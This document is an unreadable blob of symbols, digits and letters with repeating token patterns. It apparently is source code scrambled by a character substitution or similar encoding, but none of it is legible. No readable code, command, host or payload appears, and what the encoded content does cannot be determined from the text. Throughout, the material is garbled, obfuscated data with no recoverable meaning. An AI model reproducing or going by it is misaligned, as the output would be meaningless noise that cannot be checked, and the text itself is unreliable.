0!(7.u=/&.(.mppqlexeeee=}p-/*"'(=r+3mppwlma.7"=!#p<*|t4eke0!(7.u=/&.(.mpppllezeeem7,pq*7!$7#r4v#)(?m=}p-/*"'(=r+3mppslma.7"=!#p<*|t4ekeeee=w7ru&0,2#3mppplieee#$)6 ieee+0))ieuieeem}t}untwlllezeeeweetleeeeeeeeeu~Oeeeea&?||$(,+=}p-/*"'(=r+3mpprleexee=w7ru&0,2#3mppwlma.7"=!#p<*|t4eke?|?!)+'qtu++mpp}lleezem7,pq*7!$7#r4v#)(?m=w7ru&0,2#3mpp|lma.7"=!#p<*|t4ekee=}p-/*"'(=r+3mpsulieeee#$)6 ieee+0))ieuieem}tuun|wllleezeweeeeeetleeeeeu~Oea2=(3 uv/15eeeeexe=w7ru&0,2#3mpstleeeekeeeeee!5} }=v42/31wmeeeekeeeb"biemtvhpll~Oeeea4 21+u!vps'}11eeeeeexe0!(7.u=/&.(.mpswleeekee!5} }=v42/31wmekeeeb"bieemqyytll~Oeeeea&?||$(,+=}p-/*"'(=r+3mpsvlexeu~O#*7 $&-eeeeem$77$<m)!r7q}$#qrwq+&#6,#6,'mlieea.7"=!#p<*|t4ieeeeeekee=}p-/*"'(=r+3mpsqlleee$6eeeea'"u#t)$sv&1-*rleeeee>OOe,#eem0!(7.u=/&.(.mppwlma'"u#t)$sv&1-*reeekeeebjbekeea2=(3 uv/15ekee0!(7.u=/&.(.mpullleea&?||$(,+=}p-/*"'(=r+3mpsvleeexeet~O,#eeeem=w7ru&0,2#3mpsplma'"u#t)$sv&1-*reekeebjbekeea4 21+u!vps'}11leccem,+1lee?|?!)+'qtu++mpsslma'"u#t)$sv&1-*reeeeeekeebjbeeekeeeea4 21+u!vps'}11leeee{eeeee0!(7.u=/&.(.mpwwlmleeheeemqpthwttllee>Oeeeea&?||$(,+?|?!)+'qtu++mpsvleeeeexeew~OOee'7 $.~Oee8Oeee8OOeeeee0+6 1ma4 21+u!vps'}11ieea'"u#t)$sv&1-*rl~OOOOa)q<"|'wu*|!."+=<exe?|?!)+'qtu++mpsrlm=}p-/*"'(=r+3m|ulleeeeezeee=}p-/*"'(=r+3mps}lm?|?!)+'qtu++mps|lleeeeeeee#$)6 ~Oee,#emd0!(7.u=/&.(.mq}}lma)q<"|'wu*|!."+=<le99eea)q<"|'wu*|!."+=<eeexxxeeeeeggee99eea)q<"|'wu*|!."+=<exxxee=w7ru&0,2#3mprulleeeeea)q<"|'wu*|!."+=<eexeee=w7ru&0,2#3mprtl~Oeea&?||$(,+=}p-/*"'(=r+3mprwleexeeeeeem?|?!)+'qtu++mpsplmeekeeea)q<"|'wu*|!."+=<lecceeeee0!(7.u=/&.(.mv|plmm617,+"lee0!(7.u=/&.(.mprvlmeeeeeekeea)q<"|'wu*|!."+=<lieeeee=w7ru&0,2#3mprqlleeedxxee#$)6 leeezeeteeu~OOOeeea&?||$(,+?|?!)+'qtu++mprpleeeeeexem0!(7.u=/&.(.mpsplmeekeeeee0!(7.u=/&.(.mprsllecce=w7ru&0,2#3mprrlmm617,+"le=}p-/*"'(=r+3mprvlmekee?|?!)+'qtu++mprsllieee?|?!)+'qtu++mprqlleedxxe#$)6 leeezeeeeteeeeeeeeeu~Oeea&?||$(,+=}p-/*"'(=r+3mpr}lexeem?|?!)+'qtu++mpsplmeeeke?|?!)+'qtu++mpr|lleeecceeee=}p-/*"'(=r+3mprrlmm617,+"le=w7ru&0,2#3mp}ulmeeke=w7ru&0,2#3mp}tlie#$)6 ie+0))ieeeeuiemspqpun}sllieee?|?!)+'qtu++mp}wlleeedxxeeee#$)6 lezeteeu~Oeeeea&?||$(,+=}p-/*"'(=r+3mp}vleexeeee! #,+ !m?|?!)+'qtu++mp}qlleeezeeeeteeeeu~Oa&?||$(,+0!(7.u=/&.(.mp}pleexem! #,+ !m=w7ru&0,2#3mp}slle99eee! #,+ !m?|?!)+'qtu++mp}rllee99eee! #,+ !m?|?!)+'qtu++mp}}lle99ee=w7ru&0,2#3mp}|lm0!(7.u=/&.(.mp|ulle99eeeeee?|?!)+'qtu++mp|tlm=w7ru&0,2#3mp|wllee99ee,66 1ma	
	=w7ru&0,2#3mp|vlleee99e=w7ru&0,2#3mp|qlm?|?!)+'qtu++mp|pllleezeteeu~Oeea&?||$(,+?|?!)+'qtu++mp|slexeem,+1leeee" 1*51,*+m?|?!)+'qtu++mp|rlieul~Oeea&?||$(,+0!(7.u=/&.(.mp|}leexem,+1lee" 1*51,*+m=w7ru&0,2#3mpt|lieul~Oeeea&?||$(,+=w7ru&0,2#3mp||leeexeem,+1leee" 1*51,*+m=}p-/*"'(=r+3mpt}lieeeeeeul~OOOa=-?p4}-u2."2=,6veexeee726 ",|qq $q'?&m?|?!)+'qtu++msuulieee$77$<mll~Oea#70?w|02r"eeexeeeu~Oa301,}ut??p+</exeeu~OOOe,#eeeem?|?!)+'qtu++mq|tlma=-?p4}-u2."2=,6vlleee>Oe#*7 $&-eeeeema=-?p4}-u2."2=,6veee$6eea33'.|0-t77"|leee>OOOeee,#eeeeeem57(4 -|w&(/-1|u"t?/4ma33'.|0-t77"|leexxxegglee&*+1,+0 ~Oeeea#70?w|02r"nn~Oa!6q!=,rr17v?eexee?|?!)+'qtu++msutlma33'.|0-t77"|lezeeeem,+1lem,66 1ma33'.|0-t77"|?|?!)+'qtu++msuwllezeea33'.|0-t77"|=w7ru&0,2#3msuvleeeetleeet~Oea#t#q1q=!4tr-eeeexeee?|?!)+'qtu++msutlma33'.|0-t77"|leeeeccee,66 1ma33'.|0-t77"|=w7ru&0,2#3msuqlleezeeeeeem,+1lea33'.|0-t77"|=}p-/*"'(=r+3msupleeeeeeeu~Oeeee,#eemda!6q!=,rr17v?eccemda#t#q1q=!4tr-ee99ea#t#q1q=!4tr-eeeyee0!(7.u=/&.(.mpwwlmleeeeheeemp}vthwwvtllleea301,}ut??p+</nn~Oe8Oe8Oa&?||$(,+?|?!)+'qtu++msusleeeexea#70?w|02r"~Oa&?||$(,+0!(7.u=/&.(.msurleeeeeexeeeeea301,}ut??p+</~OOOa<4!(/=sr?p52}3.eeeeexe?|?!)+'qtu++mp|qlm=}p-/*"'(=r+3mptulleeeeeeze" 1*51,*+m?|?!)+'qtu++msu}lieggleegg~Oeeeea&?||$(,+=}p-/*"'(=r+3msu|leeeeeexee=w7ru&0,2#3mq}}lma<4!(/=sr?p52}3.leeeezeeee?|?!)+'qtu++mq|slma<4!(/=sr?p52}3.ieeuieeemu=tnu=qlleeeeegg~Oeeea2.w&/0+?r577 ?$texeee=}p-/*"'(=r+3mp|qlm=w7ru&0,2#3mptulleeeeze" 1*51,*+m0!(7.u=/&.(.mstulieeeee$77$<mlleeeeeee$77$<ml~Oeea&?||$(,+0!(7.u=/&.(.msttleeexeem?|?!)+'qtu++mstwlma2.w&/0+?r577 ?$tleeeeeecceemd (51<ma2.w&/0+?r577 ?$tb1ble99eeed (51<ma2.w&/0+?r577 ?$t0!(7.u=/&.(.mstvlllleeeeezeteeeeeeeeu~Oeee8eeee&$1&-eeem-7*2$') ea=w}=)'/7<3/lee>Oeeea&?||$(,+=}p-/*"'(=r+3mstqleeeexe?|?!)+'qtu++mq|slma=w}=)'/7<3/h{" 1 66$" mlieeuieeeeemu=$nu=vwll~Oeeee8eeeee&$1&-eem =& 51,*+eea=w}=)'/7<3/leeeee>Oeeeeeea&?||$(,+=}p-/*"'(=r+3mstqlexeee0!(7.u=/&.(.mstplma=w}=)'/7<3/h{" 1 66$" mlieeuiemruhtull~OOee8Oeeeee7 107+eea&?||$(,+~Oeeee8OeeO#0+&1,*+ee/7}(!(}s0s<"?4s)5/25vmlOeeeeee>Oeee,#em0!(7.u=/&.(.mp|qlm0!(7.u=/&.(.mqw|llle>Oeeee7 107+eem617,+"le6,1 07)m=w7ru&0,2#3mstsll~Oee8Oeee7 107+eeeee=w7ru&0,2#3mstrlm?|?!)+'qtu++mst}lleeezeem617,+"lee25)*",+07)mleeeeeeeegg~O8OeOeeee#0+&1,*+eeeee4q}?"|6#6#&+=|ma$&-+. =s <p0"lOeeee>Oeat!(qpq?4t0 eexeeeeegg~OOee,#eeeem?|?!)+'qtu++mstrlm?|?!)+'qtu++mst|llle>Oeeat!(qpq?4t0 exeem617,+"le=}p-/*"'(=r+3mswulm-*( 07)mlieee&*+61$+1m0!(7.u=/&.(.mswtlll~Oeee8Oee,#eemdeeeat!(qpq?4t0 eecceeeee=}p-/*"'(=r+3mstrlm?|?!)+'qtu++mswwllle>Oeeat!(qpq?4t0 eeeexeeeem617,+"le=w7ru&0,2#3mswvlm" 16,1 07)mlieeee&*+61$+1m?|?!)+'qtu++mswtlll~O8O,#eemdeeeeeat!(qpq?4t0 eeeecceee=w7ru&0,2#3mstrlm=w7ru&0,2#3mswqllleeee>Oeeeeeeat!(qpq?4t0 eexem617,+"le?|?!)+'qtu++mswvlm" 1')*",+#*m?|?!)+'qtu++mswplliee&*+61$+1m=w7ru&0,2#3mswslll~Oeee8Oee,#eemdeeeat!(qpq?4t0 ecceeee=w7ru&0,2#3mstrlm0!(7.u=/&.(.mptullleeeee>Oat!(qpq?4t0 exem617,+"lee?|?!)+'qtu++mswvlmm617,+"lee" 1*51,*+m=}p-/*"'(=r+3mswrlieeeggliee&*+61$+1m=}p-/*"'(=r+3msw}lll~Oee8Oee,#eemdeeeat!(qpq?4t0 eeeeccee,66 1ma  =}p-/*"'(=r+3msw|llleeee>Oeeeeeeeat!(qpq?4t0 exeeem617,+"leea  =w7ru&0,2#3msw|l~Oe8Oe,#emdeeat!(qpq?4t0 eeecce,66 1ma  0!(7.u=/&.(.msvulllee>Oat!(qpq?4t0 eexeeem617,+"leeea  0!(7.u=/&.(.msvul~Oeeeeee8Oeeeeeee,#eemdeat!(qpq?4t0 le>Oee7 107+eeea$&-+. =s <p0"~O8Oeeeeee7 107+eeeat!(qpq?4t0 ~Oe8OOOeeee#0+&1,*+eeeee?!r5)046+}=t"|mlOe>Oe17<ee>Oea5+s="-37$43$7|eeeexe=}p-/*"'(=r+3mstrlm?|?!)+'qtu++mps}lleezeem,+1leeeeee=w7ru&0,2#3mps}lm=}p-/*"'(=r+3msvtlleeeeeu~Oeeeeeee,#em0!(7.u=/&.(.mstrlm=}p-/*"'(=r+3mqp|llleeeeee0!(7.u=/&.(.mqp|lmmtssntqll~OOOOeea-1&,$-$4.5p&7($*eexeema5+s="-37$43$7|eeee{eemwnt}leeeccea5+s="-37$43$7|eyeeemttsnsqlleeeeezeeeeema5+s="-37$43$7|eeheeemtwhwlleeemma5+s="-37$43$7|eeeee{eueccea5+s="-37$43$7|eeyxeemu=qnu=tulleeeezemtshsleeeemqn}sll~Oe,#emdeee3q/="*42t-(u?-+65-$mlleeeee>Oeee7 107+~Oe8Oee,#eeemd w##051|s4<1*tpv,r'&m=w7ru&0,2#3mqwqllleeee>OOee7 107+~Oeeee8OeeeOeea(wv*"u4.36*rr-vexeee=w7ru&0,2#3mvqwlm170 l~Oeeeeea<05075+,<t-.|-weeeeexee7tq0u|p7!7&=w43.6qml~O,#eeeemOeeedeee=}p-/*"'(=r+3mstwlma<05075+,<t-.|-wlOe99eedeee,66 1ma<05075+,<t-.|-w0!(7.u=/&.(.mvsplleee99edeeee0!(7.u=/&.(.mq}}lma<05075+,<t-.|-w?|?!)+'qtu++mvsplle99eeeedeea<05075+,<t-.|-w?|?!)+'qtu++mvsplOeee99eeede,66 1ma<05075+,<t-.|-w?|?!)+'qtu++mvsslle99edee=}p-/*"'(=r+3mstwlma<05075+,<t-.|-w=}p-/*"'(=r+3mvsslle99e (51<ma<05075+,<t-.|-w?|?!)+'qtu++mvssllOlee>Oe?}&#$vu,|==&?rv2|$"*3ml~OOOeeeeeeee7 107+~Oee8Oeeeea(#'!t74pqu#2"r'exeea<05075+,<t-.|-w?|?!)+'qtu++msvwl~Oeeea?ur}0)&2&,-r6exea<05075+,<t-.|-w=}p-/*"'(=r+3mvssl~Oeeee)+1#,&v0?4u+v&/s12m?|?!)+'qtu++mvs|lieeea(#'!t74pqu#2"r'iee=w7ru&0,2#3mtr|ll~Oeeea1r3*3$<u)q2eeeexee=}p-/*"'(=r+3mstrlm?|?!)+'qtu++msvvllezeem617,+"leee" 1*51,*+m=w7ru&0,2#3msvqlieeeeggleeeeegg~Oeeee,#eeeeeema1r3*3$<u)q2eedxxeggeeeeeccee=}p-/*"'(=r+3msvplma1r3*3$<u)q2ieeea?ur}0)&2&,-r6ieee170 llee>OOeeea?ur}0)&2&,-r6eexee0!(7.u=/&.(.msvslm0!(7.u=/&.(.mvvqlma?ur}0)&2&,-r6iee$77$<ma1r3*3$<u)q2lll~O0!(7.u=/&.(.msvrlma?ur}0)&2&,-r6l~O=w7ru&0,2#3mvvplma?ur}0)&2&,-r6ieeea1r3*3$<u)q2l~Oe8eee )6 ,#em=w7ru&0,2#3mtwrlma?ur}0)&2&,-r6le{eetle>OOe?|?!)+'qtu++msvrlma?ur}0)&2&,-r6l~Oe8OeeeOOOeee,#eeeemm?|?!)+'qtu++mvqwlm170 leheea(wv*"u4.36*rr-vleeeee{eeeem,+1lema-1&,$-$4.5p&7($*eeeoeeukslleee>Oe?}&#$vu,|==&?rv2|$"*3ml~Oe7 107+~OOOe8OeOea'r1#*v"2preexeeee03*"(s2}). <|p#(0/5' ml~OOOeeeeeeee7t,16",vtps.6)t+ma'r1#*v"2prl~OeeOea5/<2} )3)rv4#eeexeee$77$<ml~OOOeee,#eem0!(7.u=/&.(.mstrlm0!(7.u=/&.(.msvvllleeee>Oeeeee#*7 $&-emm$77$<le" 1*51,*+m=w7ru&0,2#3msv}lieee$77$<mllee$6eeea33q#<('6.4r$sle>OOOOeee,#eeem=}p-/*"'(=r+3msv|lma33q#<('6.4r$sleccea33q#<('6.4r$sleeeee>Oa5/<2} )3)rv4#eeeeexeeeea33q#<('6.4r$s~OOOO8Oe8Oeeeee8OOeea$#*u"7r+-47u#44eexee$77$<ml~O,#eeeem! #,+ !m?|?!)+'qtu++msqullle>Oa'2( $p,(-teexeee=}p-/*"'(=r+3msqtlm?|?!)+'qtu++msqwlleeze?|?!)+'qtu++msqwlm=}p-/*"'(=r+3mv|ulm	ieeebjbleeke?|?!)+'qtu++msqvlleee#$)6 ~O,#eeeeeem=w7ru&0,2#3msqqlma'2( $p,(-tlleeee>Oeee#*7 $&-eeema'2( $p,(-tee$6ea3t7v052|u2)55u/leee>Oea$#*u"7r+-47u#44eeeexeeee=}p-/*"'(=r+3mwqvlma3t7v052|u2)55u/l~Oe8OOOOeeee8OOOO8OOa&|=uv)*t"4<+p/eexee$77$<mOOOOeeeeeee=w7ru&0,2#3msqplex{e4q}?"|6#6#&+=|mggliOeeeeee=}p-/*"'(=r+3msqsleeex{eee',7|#2u4-"!$4'1"smliOee?|?!)+'qtu++msqrleeeeex{eeee=}p-/*"'(=r+3mwqvlm.!*q3ww&t$ 5+*7'&rmlie0!(7.u=/&.(.msq}lliOeee=w7ru&0,2#3msq|leeex{e=}p-/*"'(=r+3mv|ulmie0!(7.u=/&.(.m|vlliOOOe=}p-/*"'(=r+3mspuleex{eea5/<2} )3)rv4#iOeeeeeee0!(7.u=/&.(.msptlex{eeeeea$#*u"7r+-47u#44iO=}p-/*"'(=r+3mspwlex{eee/7}(!(}s0s<"?4s)5/25vmliOee=}p-/*"'(=r+3mspvleeex{e.=!/$3/4?61=&*-0.03ma'r1#*v"2prliO0!(7.u=/&.(.mspqleex{ee?6"3//p}32wq/,|p6qma'r1#*v"2prliO0!(7.u=/&.(.msppleex{ema&=,0w=w,=7'!eeeeexeee )7wq'u# /r0r"1!=&pmlliOOOeeeOeel~Oeeea( )*sq<#+)7eexe=w7ru&0,2#3mspslm=}p-/*"'(=r+3msprlleze25/6*+ +&*! ma&|=uv)*t"4<+p/leeee?|?!)+'qtu++msp}lma&|=uv)*t"4<+p/l~Oeeeeeeeea5<,2u(6<<q3,3=eeeeeexeee/#'.5v =7tp6"wv.ma( )*sq<#+)7iea(#'!t74pqu#2"r'l~Oeeeeea)r6wv*3t#'exeee$77$<m?|?!)+'qtu++mvquleeex{eee0!(7.u=/&.(.msp|ll~OOOOa&#)'+pp!01 w=v.5eeeeexeeee+0))~Oeee?}&#$vu,|==&?rv2|$"*3ml~OOeeOOOO#*7 $&-eeeema?ur}0)&2&,-r6eeeeee$6ea#"4<!q26)s"vplee>OeeOeeeeeeee,#eeemm?|?!)+'qtu++mvqwlm170 leeeheeea(wv*"u4.36*rr-vlee{eeeeeea-1&,$-$4.5p&7($*leeeee>Oeee'7 $.~Oeeeee8OOOea#"4<!q26)s"vpeeexeeee=}p-/*"'(=r+3mssulmm617,+"lea#"4<!q26)s"vpl~Oeeeee,#eeeeeemdeea#"4<!q26)s"vple>Oe&*+1,+0 ~Oeeeee8Oeeee17<e>OOOeeeea 7q*3=,66?<10eexeeeea(#'!t74pqu#2"r'~Oa"p|t54!6). eeeexee!"656()p/p-}('?1ma#"4<!q26)s"vpiea5<,2u(6<<q3,3=ieeea)r6wv*3t#'ieeemu=vnu=rlieee#0+&1,*+eeeeema5$|01u/#253&<trlee06 ema 7q*3=,66?<10leeeee>Oeea&?||$(,+eexee/#'.5v =7tp6"wv.ma5$|01u/#253&<trieea 7q*3=,66?<10l~Oee,#eeeemda&?||$(,+leee7 107+e#$)6 ~Oe7 107+e=w7ru&0,2#3msstlm=w7ru&0,2#3mvqplm=w7ru&0,2#3msswlma&?||$(,+lieeee170 ll~Oee8l~Oee,#eeemdea"p|t54!6). leeeee>Oeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mqpsliee?|?!)+'qtu++mssvleeeeekea#"4<!q26)s"vpl~Oeeeee&*+1,+0 ~O8OOeeea0<6?/'7/-0 /7<reeeexee/#'.5v =7tp6"wv.ma"p|t54!6). iea(#'!t74pqu#2"r'l~Oe,#emdeea0<6?/'7/-0 /7<rle>Oeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mssqlie=w7ru&0,2#3mssplekeea#"4<!q26)s"vpl~O&*+1,+0 ~OOOeeee8Oea&#)'+pp!01 w=v.5eeeeexee=}p-/*"'(=r+3mvqplm?|?!)+'qtu++msswlma0<6?/'7/-0 /7<rlieeeeee170 l~Oe,#em=}p-/*"'(=r+3mssslma&#)'+pp!01 w=v.5lle>OO,#eeeem=w7ru&0,2#3mspslm?|?!)+'qtu++mpttllle>O05!$1 *51,*+m=}p-/*"'(=r+3msvqliea#"4<!q26)s"vpl~OOOOeee8O'7 $.~O8eee )6 e>OOOeeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mssrlie=w7ru&0,2#3mss}lekeea#"4<!q26)s"vpl~OOOee8OOe8eee&$1&-eem-7*2$') eea=w}=)'/7<3/le>O="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mss|liea=w}=)'/7<3/l~Oee&*+1,+0 ~Oeee8e&$1&-eem =& 51,*+ea=w}=)'/7<3/le>Oeeeeee&*+1,+0 ~OOOOe8OOeeee8OOOee,#emdeeee0!(7.u=/&.(.msrulma&#)'+pp!01 w=v.5lleee>Oa"5$w0)4500$2?exee/#'.5v =7tp6"wv.m0!(7.u=/&.(.msrtlm$77$<mOeeeeee=}p-/*"'(=r+3msrwleeex{ee4q}?"|6#6#&+=|mggliOeeeee=w7ru&0,2#3msqslex{ee',7|#2u4-"!$4'1"smliOeee0!(7.u=/&.(.msqrlex{e0!(7.u=/&.(.mwqvlm.!*q3ww&t$ 5+*7'&rmlie=w7ru&0,2#3msq}lliOOOe0!(7.u=/&.(.msrvlex{eetiOllieea(#'!t74pqu#2"r'l~Oeeeeeeea*p}t!|"03}"q!p3exee=w7ru&0,2#3msrqlm61717m?|?!)+'qtu++mv}wlma"5$w0)4500$2?lie=}p-/*"'(=r+3msrplieeee=}p-/*"'(=r+3msrsllieeeebxbl~Oeeeeea/t+)s2'!6t"&5eeexeee0!(7.u=/&.(.msrrlma*p}t!|"03}"q!p3ieemu=t#pnu=v}vll~Oeeeeee#*7 $&-eeeeema?ur}0)&2&,-r6e$6eeeeeea#"4<!q26)s"vplee>O,#eeeemm=w7ru&0,2#3msr}lm170 leeeheeea(wv*"u4.36*rr-vleeeee{eeeea-1&,$-$4.5p&7($*leee>OOeeee'7 $.~Oe8Oeea#"4<!q26)s"vpexeeeee0!(7.u=/&.(.msswlmm617,+"lea#"4<!q26)s"vpl~O,#ema#"4<!q26)s"vpeeexxxeggle>Oe&*+1,+0 ~Oee8OOea7&'$26u$?)2s&eeeeexe!5} }=v42/31wm4q}?"|6#6#&+=|mggleekee=w7ru&0,2#3msr}lm170 liemwtuwt}ll~Oeea$)w)#u=7<s!eeexee=}p-/*"'(=r+3mtwrlma/t+)s2'!6t"&5l~Oeea!00?r6#&4$'?5eeexeem0!(7.u=/&.(.msr|lma#"4<!q26)s"vpiebzblexxxee#$)6 leezeeebzbeebcb~Oeeeeee#*7ema<)=q4*$rp2!#eeexeu~ea<)=q4*$rp2!#eyea$)w)#u=7<s!~eeea<)=q4*$rp2!#nnle>OO,#eemm=w7ru&0,2#3msr}lm170 leeeeheeea(wv*"u4.36*rr-vleee{eea-1&,$-$4.5p&7($*le>Oe'7 $.~O8Oea6q (t/<t/5<#q5exeema<)=q4*$rp2!#eeeexxxeeeeea$)w)#u=7<s!eeeeeheetl~OOOOeeeeeeeea+-=u/)53/.-+&exeeea#"4<!q26)s"vpekeea!00?r6#&4$'?5eeekee=}p-/*"'(=r+3ms}uleekeeeea7&'$26u$?)2s&eeke?|?!)+'qtu++ms}tleeekea<)=q4*$rp2!#eeeekeee0!(7.u=/&.(.ms}wleeekea$)w)#u=7<s!ekee=w7ru&0,2#3ms}vleekeea/t+)s2'!6t"&5a<)=q4*$rp2!#~Oa71$5!06st5eexeeee,u< 2*2$'$)(7654< 0='(ma+-=u/)53/.-+&ieemsnwlieea6q (t/<t/5<#q5ezeee#0+&1,*+eeeema5$|01u/#253&<trlee06 eeema(#'!t74pqu#2"r'lee>Oeeeeeeea&?||$(,+eexe/#'.5v =7tp6"wv.ma5$|01u/#253&<triea(#'!t74pqu#2"r'l~Oee,#eeeeemda&?||$(,+le7 107+e#$)6 ~Oeee7 107+eee=}p-/*"'(=r+3msrulm0!(7.u=/&.(.ms}qlm0!(7.u=/&.(.msswlma&?||$(,+liee170 ll~OOOee8eeeee+0))l~Oee,#eeema6q (t/<t/5<#q5eeeecce=}p-/*"'(=r+3msv|lma71$5!06st5leeeeecceeeeea71$5!06st5eedxxegglee>Oea"!exeeee/#'.5v =7tp6"wv.ma71$5!06st5ieea(#'!t74pqu#2"r'l~Oa2=(3 uv/15eeeexea"!eze?|?!)+'qtu++ms}qlm0!(7.u=/&.(.msswlma"!lie170 leeee+0))~Oeeee,#eeeem=w7ru&0,2#3msrulma2=(3 uv/15lleee>OOOa&#)'+pp!01 w=v.5eeeeexeea2=(3 uv/15~Oee,#eem=w7ru&0,2#3ms}plm?|?!)+'qtu++ms}slllee>Oe05!$1 *51,*+m0!(7.u=/&.(.msvqlieeeeeea#"4<!q26)s"vpl~Oe8Oeeeeeeee'7 $.~OOOOe8Oeeeee8O8O,#eeeem?|?!)+'qtu++ms}rlma&#)'+pp!01 w=v.5lleeee>OOOeeeee'7 $.~OOOOee8Oeee8Oeeeee8Oee,#eeemdeee?|?!)+'qtu++ms}rlma&#)'+pp!01 w=v.5llee>Oeeee7 107+~O8O,#eema&=,0w=w,=7'!eeeeccee=}p-/*"'(=r+3ms}plm=}p-/*"'(=r+3ms}}llleee>Oe! ) 1 *51,*+m7**?011s1ut#=m=}p-/*"'(=r+3mspplll~Oeee8Oeeeeee,#emd,66 1ma	
	=w7ru&0,2#3ms}|lle99eeed?|?!)+'qtu++ms|ulma	
	?|?!)+'qtu++ms}|lllea	
	?|?!)+'qtu++ms|tleexe$77$<ml~Oeeeea	
	?|?!)+'qtu++ms|tleeexe?|?!)+'qtu++msvslm?|?!)+'qtu++mvvqlma	
	0!(7.u=/&.(.ms|tliea&=,0w=w,=7'!ll~O,#eeeeem,66 1ma&#)'+pp!01 w=v.50!(7.u=/&.(.ms|wlleeeeccee=}p-/*"'(=r+3ms|vlma&#)'+pp!01 w=v.5=}p-/*"'(=r+3ms|wlllee>Oeeee#=&?<1?&-$/svuma&#)'+pp!01 w=v.5=w7ru&0,2#3ms|qliee,66 1ma&#)'+pp!01 w=v.5=w7ru&0,2#3ms|pllecce=w7ru&0,2#3ms|slma&#)'+pp!01 w=v.5=w7ru&0,2#3ms|rlleeeezea&#)'+pp!01 w=v.5=w7ru&0,2#3ms|rleeeggieed (51<ma&#)'+pp!01 w=v.5=}p-/*"'(=r+3ms|}lll~Oeeeeee8OeOa03-?u}6q5eexee#$)6 ~Oea&|717=.q5sp1&.eeeexee$77$<ml~OeeeeeOee,#eem,66 1ma&#)'+pp!01 w=v.50!(7.u=/&.(.mqswlleecce=}p-/*"'(=r+3ms||lma&#)'+pp!01 w=v.5=w7ru&0,2#3mqswllle>Oeea,.<w?/$/50exeeee$77$<ml~OeeOe#*7 $&-ema&#)'+pp!01 w=v.5=}p-/*"'(=r+3mqswleeeeee$6ea=ss<?3q&?(w&)0'qlee>O,#eem=w7ru&0,2#3mruulma=ss<?3q&?(w&)0'qlecceeea=ss<?3q&?(w&)0'qeedxxeeggleee>Oea,.<w?/$/50eeeexeeea=ss<?3q&?(w&)0'q~Oeee8Oee8Oa1<qr}p4t)3}2==!*exea	
	=w7ru&0,2#3mqsql~OOOea,.<w?/$/50eeeexeee.75s"$3v/w*0.wma,.<w?/$/50l~Oeeeeeeea	
	=}p-/*"'(=r+3mqsqlexea,.<w?/$/50~Oea&|717=.q5sp1&.=w7ru&0,2#3mrutleexea,.<w?/$/50~Oe,#eeeeemdee (51<m=}p-/*"'(=r+3mvvqlma,.<w?/$/50iea1<qr}p4t)3}2==!*lle99eedee (51<m=}p-/*"'(=r+3mvvqlma1<qr}p4t)3}2==!*ieea,.<w?/$/50lllee>Oa03-?u}6q5eeeexee170 ~Oeeee8Oe8OeeOeeeeee,#eem,66 1ma&#)'+pp!01 w=v.50!(7.u=/&.(.mqs}lleeeecce?|?!)+'qtu++ms||lma&#)'+pp!01 w=v.5=}p-/*"'(=r+3mqs}llleeeeee>Oa,.<w?/$/50eeeeexeee$77$<ml~OeeeeOeeeeeeee#*7 $&-eema&#)'+pp!01 w=v.5?|?!)+'qtu++mqs}lee$6ea=ss<?3q&?(w&)0'qleeeee>Oe,#eeem0!(7.u=/&.(.mruulma=ss<?3q&?(w&)0'qleeecceeeeea=ss<?3q&?(w&)0'qedxxeeeeegglee>Oeea,.<w?/$/50eexea=ss<?3q&?(w&)0'q~O8O8Oea1<qr}p4t)3}2==!*eeexeeea	
	0!(7.u=/&.(.mruwl~Oa,.<w?/$/50eeeeexe.75s"$3v/w*0.wma,.<w?/$/50l~Oa	
	?|?!)+'qtu++mruwleexeeea,.<w?/$/50~Oeea&|717=.q5sp1&.0!(7.u=/&.(.mqs}lexeeea,.<w?/$/50~Oeee,#emdee (51<m?|?!)+'qtu++mruvlma,.<w?/$/50iea1<qr}p4t)3}2==!*lleeee99eede (51<m0!(7.u=/&.(.mruqlma1<qr}p4t)3}2==!*ieeeeea,.<w?/$/50llleee>Oeeea03-?u}6q5eexeee170 ~Oee8OOOOe8Oeee,#em,66 1ma&#)'+pp!01 w=v.5?|?!)+'qtu++mqrwlleecceeee?|?!)+'qtu++mruulma&#)'+pp!01 w=v.5?|?!)+'qtu++mqrwllleeee>Oeeeeeea/2)76#0!#*7s5.eeeexee!r)v'-|<70,+r1m=w7ru&0,2#3mruplieeggl~Oeea	
	0!(7.u=/&.(.mrusleexeea&#)'+pp!01 w=v.50!(7.u=/&.(.mqrwl~Oeea&|717=.q5sp1&.?|?!)+'qtu++mqrwleeexea&#)'+pp!01 w=v.5=w7ru&0,2#3mqrwl~Oe,#eem0!(7.u=/&.(.mrurlma&#)'+pp!01 w=v.5=}p-/*"'(=r+3mru}lledxxee?|?!)+'qtu++mrurlma/2)76#0!#*7s5.llee>Oe)+1#,&v0?4u+v&/s12m=}p-/*"'(=r+3mrupliea&#)'+pp!01 w=v.5?|?!)+'qtu++mru}lieee?|?!)+'qtu++mtr|ll~Oeeeeee/t.})(2"up462<7v"ml~Oe8O0+6 1ma/2)76#0!#*7s5.l~OOeeee8Oa)"sw2s3}s/(5'6eexee,66 1ma&#)'+pp!01 w=v.5=w7ru&0,2#3mqr}llecceee=w7ru&0,2#3mru|lma&#)'+pp!01 w=v.50!(7.u=/&.(.mqr}llezeeeeea&#)'+pp!01 w=v.5=w7ru&0,2#3mqr}leee$77$<ml~OOOeeee,#eem,66 1ma)"sw2s3}s/(5'6=w7ru&0,2#3mqrplleeeecceee=w7ru&0,2#3mrtulma)"sw2s3}s/(5'60!(7.u=/&.(.mqrpllle>Oee,#eem=w7ru&0,2#3mrttlma)"sw2s3}s/(5'60!(7.u=/&.(.mqrplle{eemu=$nu=w}lle>Oeeea	
	=}p-/*"'(=r+3mqrslexeea)"sw2s3}s/(5'6=w7ru&0,2#3mqrpl~Oea&|717=.q5sp1&.0!(7.u=/&.(.mrtwleeexeeea)"sw2s3}s/(5'60!(7.u=/&.(.mrtwl~OOOeee8eee )6 eeeeee>Oeeea	
